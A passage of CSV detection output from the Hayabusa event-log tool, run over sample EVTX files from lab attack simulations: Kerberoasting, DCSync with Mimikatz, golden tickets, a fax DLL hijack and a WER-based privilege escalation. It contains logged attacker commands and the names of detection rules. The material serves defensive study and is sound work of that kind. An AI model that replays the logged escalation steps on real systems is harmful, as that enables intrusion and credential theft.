accessed.evtx +2020-08-02 20:21:46.181 +09:00,rootdc1.offsec.lan,4662,medium,AD User Enumeration,,rules/sigma/builtin/security/win_ad_user_enumeration.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1555-Credentials from Password Stores/ID4662-Sensitve DPAPI attributes accessed.evtx +2020-08-02 20:33:06.521 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: : Service: : IP Address: ::ffff:10.23.23.9 : Status: 0x25,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:33:06.523 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: admmig@OFFSEC.LAN : Service: Svc-SQL-DB01 : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:33:06.523 +09:00,rootdc1.offsec.lan,4769,medium,Suspicious Kerberos RC4 Ticket Encryption,,rules/sigma/builtin/security/win_susp_rc4_kerberos.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:37:11.847 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: ROOTDC1$@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::1 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:37:12.567 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: ROOTDC1$@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::1 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:37:54.898 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: WEC01$@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::ffff:10.23.42.22 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:37:54.999 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: WEC01$@OFFSEC.LAN : Service: WEC01$ : IP Address: ::ffff:10.23.42.22 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:37:55.142 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: WEC01$@OFFSEC.LAN : Service: ROOTDC2$ : IP Address: ::ffff:10.23.42.22 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:37:55.483 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: WEC01$@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::ffff:10.23.42.22 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:37:55.484 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: WEC01$@OFFSEC.LAN : Service: krbtgt : IP Address: ::ffff:10.23.42.22 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 20:37:55.625 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: WEC01$@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::ffff:10.23.42.22 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Kerberoast ticket with low encryption.evtx +2020-08-02 21:02:34.103 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 55731 : LogonID: 0x11b8c41e,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:02:35.117 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 55731 : LogonID: 0x11b8c703,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:02:37.166 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 55733 : LogonID: 0x11b8c741,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:03:03.560 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: ROOTDC1$ : Workstation: - : IP Address: fe80::1cae:5aa4:9d8d:106a : Port: 58736 : LogonID: 0x11b8cd00,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:03:08.715 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: FS02$ : Workstation: - : IP Address: 10.23.42.18 : Port: 62274 : LogonID: 0x11b8d014,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:03:12.993 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 55738 : LogonID: 0x11b8d057,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:04:02.850 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 55748 : LogonID: 0x11b8dcc1,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:04:09.689 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 54927 : LogonID: 0x11b9e9a8,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:04:09.695 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 54931 : LogonID: 0x11b9e9c0,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:04:09.696 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 54933 : LogonID: 0x11b9e9d3,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:04:09.696 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 54932 : LogonID: 0x11b9e9e5,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:04:09.816 +09:00,rootdc1.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 55750 : LogonID: 0x11b9ea1f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1003-Credential dumping/ID4662-DCsync attack using Mimikatz.evtx +2020-08-02 21:26:03.702 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: gold-non-existing-user@offsec.lan : Service: ROOTDC2$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-02 21:26:11.437 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: gold-non-existing-user@offsec.lan : Service: ROOTDC2$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-02 21:26:20.424 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: gold-non-existing-user@offsec.lan : Service: ROOTDC1$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-02 21:27:02.387 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: gold-non-existing-user@offsec.lan : Service: ROOTDC1$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-02 21:27:19.056 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: ROOTDC1$@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::1 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-02 21:27:19.742 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: ROOTDC1$@OFFSEC.LAN : Service: ROOTDC1$ : IP Address: ::1 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-02 21:31:20.566 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: gold-non-existing-user@offsec.lan : Service: ROOTDC1$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-02 21:31:20.567 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: gold-non-existing-user@offsec.lan : Service: krbtgt : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-02 21:31:20.925 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: gold-non-existing-user@offsec.lan : Service: FS02$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-02 21:31:20.926 +09:00,rootdc1.offsec.lan,4769,informational,Kerberos Service Ticket Requested,User: gold-non-existing-user@offsec.lan : Service: MSSQL01$ : IP Address: ::ffff:10.23.23.9 : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4769_KerberosServiceTicketRequest.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4769-Golden ticket issued.evtx +2020-08-03 01:24:07.551 +09:00,MSEDGEWIN10,7,high,Fax Service DLL Search Order Hijack,,rules/sigma/image_load/sysmon_susp_fax_dll.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/faxhell_sysmon_7_1_18_3_bindshell_dllhijack.evtx +2020-08-03 01:24:07.558 +09:00,MSEDGEWIN10,5145,high,First Time Seen Remote Named Pipe,,rules/sigma/builtin/security/win_lm_namedpipe.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/PrivEsc_NetSvc_SessionToken_Retrival_via_localSMB_Auth_5145.evtx +2020-08-03 01:24:26.809 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""c:\windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k DcomLaunch -p",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/faxhell_sysmon_7_1_18_3_bindshell_dllhijack.evtx +2020-08-03 01:24:28.640 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: whoami : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""c:\windows\system32\cmd.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/faxhell_sysmon_7_1_18_3_bindshell_dllhijack.evtx +2020-08-03 01:24:28.640 +09:00,MSEDGEWIN10,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/faxhell_sysmon_7_1_18_3_bindshell_dllhijack.evtx +2020-08-03 01:24:28.640 +09:00,MSEDGEWIN10,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/faxhell_sysmon_7_1_18_3_bindshell_dllhijack.evtx +2020-08-03 01:24:28.640 +09:00,MSEDGEWIN10,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Defense Evasion/faxhell_sysmon_7_1_18_3_bindshell_dllhijack.evtx +2020-08-12 22:05:20.029 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\SYSTEM32\cmd.exe /c """"C:\Program Files\Npcap\CheckStatus.bat"""" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:05:20.378 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: cmd.exe : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\services.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:05:20.378 +09:00,MSEDGEWIN10,1,high,Abused Debug Privilege by Arbitrary Parent Processes,,rules/sigma/process_creation/sysmon_abusing_debug_privilege.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:05:36.555 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: C:\Windows\Explorer.EXE",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:05:38.260 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe /c reg query ""HKLM\Software\WOW6432Node\Npcap"" /ve 2>nul | find ""REG_SZ"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\SYSTEM32\cmd.exe /c """"C:\Program Files\Npcap\CheckStatus.bat""""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:05:45.570 +09:00,MSEDGEWIN10,10,medium,Suspicious In-Memory Module Execution,,rules/sigma/process_access/sysmon_in_memory_assembly_execution.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:06:00.737 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\cmd.exe /c rmdir /s/q C:\ProgramData\Microsoft\Windows\WER\ReportQueue\a_b_c_d_e > nul 2>&1 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: WerTrigger.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:06:01.637 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe /c mkdir,C:\ProgramData\Microsoft\Windows\WER\ReportQueue\a_b_c_d_e : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: WerTrigger.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:06:02.552 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\system32\cmd.exe /c copy Report.wer C:\ProgramData\Microsoft\Windows\WER\ReportQueue\a_b_c_d_e > nul 2>&1 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: WerTrigger.exe,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:06:03.487 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe /c schtasks /run /TN ""Microsoft\Windows\Windows Error Reporting\QueueReporting"" > nul 2>&1 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: WerTrigger.exe",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:06:04.075 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" : Path: C:\Windows\System32\cmd.exe : User: NT AUTHORITY\SYSTEM : Parent Command: C:\Windows\system32\wermgr.exe -upload",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:06:08.143 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: whoami : Path: C:\Windows\System32\whoami.exe : User: NT AUTHORITY\SYSTEM : Parent Command: ""C:\Windows\system32\cmd.exe""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:06:08.143 +09:00,MSEDGEWIN10,1,high,Run Whoami as SYSTEM,,rules/sigma/process_creation/win_whoami_as_system.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:06:08.143 +09:00,MSEDGEWIN10,1,medium,Whoami Execution,,rules/sigma/process_creation/win_susp_whoami.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-12 22:06:08.143 +09:00,MSEDGEWIN10,1,low,Local Accounts Discovery,,rules/sigma/process_creation/win_local_system_owner_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Privilege Escalation/privesc_spoolsv_spl_file_write_sysmon11.evtx +2020-08-21 00:35:28.503 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: hack-admu-test1 : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-Failed ADMIN$ share access.evtx +2020-08-21 00:36:32.382 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-Failed ADMIN$ share access.evtx +2020-08-21 00:36:32.391 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-Failed ADMIN$ share access.evtx +2020-08-21 00:37:06.186 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-Failed ADMIN$ share access.evtx +2020-08-21 00:37:14.331 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-Failed ADMIN$ share access.evtx +2020-08-21 00:37:17.039 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\C$ : Share Path: \??\C:\ : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-Failed ADMIN$ share access.evtx +2020-08-21 00:37:35.319 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-Failed ADMIN$ share access.evtx +2020-08-21 00:37:35.773 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: JUMP01$ : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0007-Discovery/T1135.xxx-Network Share Discovery/ID5140-Failed ADMIN$ share access.evtx +2020-08-21 00:38:23.185 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: not_existing_user : Share Name: \\*\ADMIN$ : Share Path: \??\C:\Windows : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID5140-ADMIN$ share connection with Golden ticket.evtx +2020-08-21 00:39:15.820 +09:00,rootdc1.offsec.lan,5140,informational,Network Share Access,User: admmig : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.23.23.9,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0008-Lateral Movement/T1021.002-SMB Windows Admin Shares/ID5140-ADMIN$ share connection with Golden ticket.evtx +2020-08-21 00:41:58.884 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: not_existing_user : Workstation: - : IP Address: 10.23.23.9 : Port: 50329 : LogonID: 0x119b90e2,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx +2020-08-21 00:42:54.177 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 50329 : LogonID: 0x119b9a72,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx +2020-08-21 00:42:54.177 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 50380 : LogonID: 0x119b9a8f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx +2020-08-21 00:42:54.193 +09:00,fs02.offsec.lan,4624,informational,Logon Type 3 - Network,User: admmig : Workstation: - : IP Address: 10.23.23.9 : Port: 50381 : LogonID: 0x119b9aa3,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-to-MITRE-Attack/TA0006-Credential Access/T1558-Steal or Forge Kerberos Tickets/ID4624-Success login with Golden ticket.evtx 